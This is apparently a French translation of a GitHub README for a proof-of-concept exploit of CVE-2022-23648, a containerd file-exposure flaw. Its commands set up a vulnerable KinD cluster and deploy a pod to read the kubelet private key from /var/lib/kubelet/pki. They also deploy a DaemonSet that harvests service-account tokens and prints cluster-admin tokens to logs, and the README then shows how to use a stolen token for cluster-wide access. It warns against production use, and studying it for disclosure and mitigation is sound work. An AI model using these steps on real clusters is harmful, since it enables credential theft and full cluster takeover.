raesene/cve-2022-23648-pocPOC pour CVE-2022-23648
Ceci est une preuve de concept pour le CVE-2022-23648 de @_fel1x. Informations de divulgation ici, informations sur le CVE ici et un blog avec plus d'informations et des idées de mitigation ici. Le Containerfile contient les informations nécessaires, et vous pouvez changer la cible du VOLUME pour essayer différents chemins.
Le moyen le plus simple de montrer son fonctionnement est d'utiliser KinD qui a des images exploitables.
À moins que le nœud n'ait beaucoup de données dans /var/lib/kubelet/pki, cela devrait être un test sûr.
kind create cluster --image=kindest/node:v1.21.1kubectl create -f pod-manifest.yamlkubectl exec poctest -- ls /var/lib/kubelet/pki/Et si vous obtenez des fichiers incluant kubelet.key, cela a fonctionné :)
REMARQUE : N'essayez pas cela sur un cluster de production. Un Containerd vulnérable pourrait dupliquer beaucoup de données dans ce pod d'attaque et épuiser l'espace disque. De plus, cela imprimera les jetons SA cluster-admin dans les logs du pod, qui sont susceptibles d'être envoyés en texte clair vers une destination de journalisation.
Cela exécutera un DaemonSet qui tente d'énumérer tous les jetons de compte de service Kubernetes sur le nœud et de les imprimer dans les logs du pod s'il s'avère être un jeton cluster-admin.
kubectl apply -f ds.yamlkubectl --token="$(kubectl logs -l app=poctest | head -1)" auth can-i '*' '*' -ASi yes est imprimé, félicitations, vous avez un jeton de compte de service cluster-admin de courte durée, exécutez :
kubectl logs -l app=poctest | head -1 | awk -F\. '{print $2}' | base64 -d pour voir quel SA c'est
kubectl --token="$(kubectl logs -l app=poctest | head -1)" get pods -A
kubectl --token="$(kubectl logs -l app=poctest | head -1)" auth can-i --list